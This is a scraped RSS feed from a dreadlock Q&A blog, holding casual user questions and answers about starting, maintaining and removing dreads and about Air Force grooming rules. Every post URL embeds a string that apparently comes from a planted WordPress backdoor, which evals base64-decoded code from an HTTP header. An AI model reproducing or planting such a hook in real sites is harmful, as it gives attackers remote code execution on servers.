My Dread Lock » making dreadlocks http://www.mydreadlock.com Answers To Your Dreadlock Questions Tue, 25 Jan 2011 10:42:29 +0000 en hourly 1 http://wordpress.org/?v=3.0.4 DREADS/DREAD LOCKs? http://www.mydreadlock.com/2010/02/22/dreadsdread-locks-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/02/22/dreadsdread-locks-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Mon, 22 Feb 2010 16:19:09 +0000 admin http://www.mydreadlock.com/dreads-locks/dreadsdread-locks-2


I want dreads but I never had them before and I was wondering how do I get them and how long does my hair have to be for at least short dreads. Basicly how do I get dreads.

just dnt comb your hair in a while.

there just basically nots in your hair from not brushing, so if your hairs lng enough to not then you can get dreads.
i think there sort of dirty to have but cuuuute at the same time.

]]> http://www.mydreadlock.com/2010/02/22/dreadsdread-locks-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 3 What is the easiest way for a white guy to get dread locks? http://www.mydreadlock.com/2010/02/19/what-is-the-easiest-way-for-a-white-guy-to-get-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/02/19/what-is-the-easiest-way-for-a-white-guy-to-get-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Fri, 19 Feb 2010 14:08:16 +0000 admin http://www.mydreadlock.com/dreads-locks/what-is-the-easiest-way-for-a-white-guy-to-get-dread-locks i think that dreads look rlly cool and i’ve just recently decided that i want them, but i don’t know the processes to do it. i didn’t mean to sound bad when i said a white guy, i just don’t know if there are any differences to get dreads due to the type of hair. mine is about 3 or 4 inches right now and when it’s starting to curl, when it gets long it gets rlly curly and i wanted to try out dreads to see if that look fits me. any advice would help lol

http://www.youtube.com/watch?v=3CebGwiLCs0

Watch that video and other videos of him. I have read you other questions, and you mentioned that you are a red head. So is this guy in the video! It would be the perfect guide for you!

Anyways you could also search You Tube for more dread lock tutorials.

So a dread lock is basically a huge tangle. If you just stopped brushing your hair your hair would naturally form dreadlocks. If you want to control exactly where you get them I would suggest you do it your self. Or go to a salon if you wish. What you do is section a part of your hair, as big as you want the dread to be, and roll it. Now take a brush and back brush it. Like brush upwards from tip to root. Then roll between your hands.

This will make the hair tangle and "lock" to one another, thus making a dread lock. Repeat this section by section and that’s it. In the videos people say that at first it will look messy but as time goes by the dreads will become more defined and look better.

This style is a little high maintenance; I would not recommend it. But if you are willing to put up with it then ok.

If you want to see what you would look like I suppose you could always photoshop dreads onto a picture of yourself. Or go to a costume shop and try on a wig.

Good luck.

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U need to do them urself and they are not "dreads". they are just locks. u wll appreciate their beauty if u do them urself.

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Don’t believe what everyone says
I’m a white girl and I’ve had dreads for two years now. They’re awesome, I wash them, they don’t smell, and they’re beautiful…
You’ve got a lot of questions about dreads, so read up before you get them. These sites will tell you EVERYTHING about dreads:
www.knottyboy.com
www.dreadheadhq.com

]]> http://www.mydreadlock.com/2010/02/07/dreadsdread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 7 How exactly are dread locks done? http://www.mydreadlock.com/2010/02/03/how-exactly-are-dread-locks-done/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/02/03/how-exactly-are-dread-locks-done/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Wed, 03 Feb 2010 18:33:10 +0000 admin http://www.mydreadlock.com/dreads-locks/how-exactly-are-dread-locks-done I heard the hair is twisted up with bee’s wax, but I dont know. And when you want to get rid of them, do you really have to shave your head?

Ok so there is a special paste but i don’t think you have to shave your head to get rid of them. You can soak them in a strong conditioner like VO5 and comb them out. Start at the tip (the end) of the dread lock and slowly work your way to the root. Try to get the conditioner inside the middle of the dread.

]]> http://www.mydreadlock.com/2010/02/03/how-exactly-are-dread-locks-done/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 3 What is the general impression of black professional men wearing dread locks? http://www.mydreadlock.com/2010/01/24/what-is-the-general-impression-of-black-professional-men-wearing-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/01/24/what-is-the-general-impression-of-black-professional-men-wearing-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Sun, 24 Jan 2010 06:12:26 +0000 admin http://www.mydreadlock.com/dreads-locks/what-is-the-general-impression-of-black-professional-men-wearing-dread-locks I work as a EMT-B (AMBULANCE DRIVER) and where i live there are more white people than blacks in this profession. I will no matter what still get my hair locked.

i judge people by their actions and ethics and professionalism in the workplace over what kind of personal style they have.

as a personal preference, i don’t like dreads or long hair on men but that’s just me picking someone that could be a potential mate, not as a friend or coworker.

besides, why did you lose 10 points to ask that question if you’re going to do it regardless?

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Dread locks.

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I heard that sea salt helps…….wht else helps them lock? Them are not locked AT ALL right now -cries- What could help them……

Yes, seawater (salt water) or go to the beach if you live near one,
this will help your locks lock up so much faster, and helped mine alot when i used to go there all the time.

other than that, just leave them be,
wearing a hate (Wool tam is most preferable)
but wearing a cheap big beanie or something that doesn’t restrict movement in your hair will help alot as well if you wear them in your spare time around the house or be4 going to bed,

other than that, get some beads you like alot or peyote stichs and put them on your locks, these will help as well,

Hair sprays and rubber bands, not so much, never use rubber bands to help your locks lock up faster, one they restrict movement far too much to truly help, and if you 4get about them on a hot day (unlikely now cuz of the weather but in general) they can’t get melted into your locks or enveloped by the changing texture of your locks.
and that’s not as uncommon as you might think, I almost did it when I was trying everything that seemed like it might help in the first few months when I let my hair lock,

]]> http://www.mydreadlock.com/2010/01/13/how-do-i-help-my-dreads-lock-up-faster/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 3 How does one grow and mantain dread locks? http://www.mydreadlock.com/2010/01/03/how-does-one-grow-and-mantain-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2010/01/03/how-does-one-grow-and-mantain-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Mon, 04 Jan 2010 04:42:34 +0000 admin http://www.mydreadlock.com/dreads-locks/how-does-one-grow-and-mantain-dread-locks How long does it take to grow, and how long does it last for?
Does it hurt?
Do people think it is gross?

I’m sure its not great to turn up at, say a job interview with dreadlocks but, for temporary dreadlocks tangle you hair by brushing it botton to top with a comb and twirl strands of it into locks. use hairspray to keep it and twirl/roll the strands regularly

dreadlocks are just messy strands of hair

(doesnt hurt at all, but use lots of hair conditioner to bring your hair back to normal!)

]]> http://www.mydreadlock.com/2010/01/03/how-does-one-grow-and-mantain-dread-locks/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/feed/ 4 What do I do with my locks for Basic Training? http://www.mydreadlock.com/2009/12/21/what-do-i-do-with-my-locks-for-basic-training/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://www.mydreadlock.com/2009/12/21/what-do-i-do-with-my-locks-for-basic-training/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 22 Dec 2009 03:38:13 +0000 admin http://www.mydreadlock.com/dreads-locks/what-do-i-do-with-my-locks-for-basic-training I’m thinking about joining the Air Force Reserves, but I’m afraid I’ll have to cut my hair for Basic Training (and in general). I have (dread)locks, and they’re almost shoulder length. I can pull it into a bun, but if/when I need to put a hat or helmet on my head, I think I’m gonna have a problem. Any suggestions?

No dreads, sorry. You won’t necessarily have to cut it, but you will not be able to have them.
Quoted from AFI-36-2903 Air Force dress and appearance instruction :
WILL NOT
be worn in an extreme or fad
style or violate safety
requirements. Extend below
….blah blah blah….
Synthetic hair not authorized
when not permitted by
safety/mission requirements.
Dreadlocks are not authorized.

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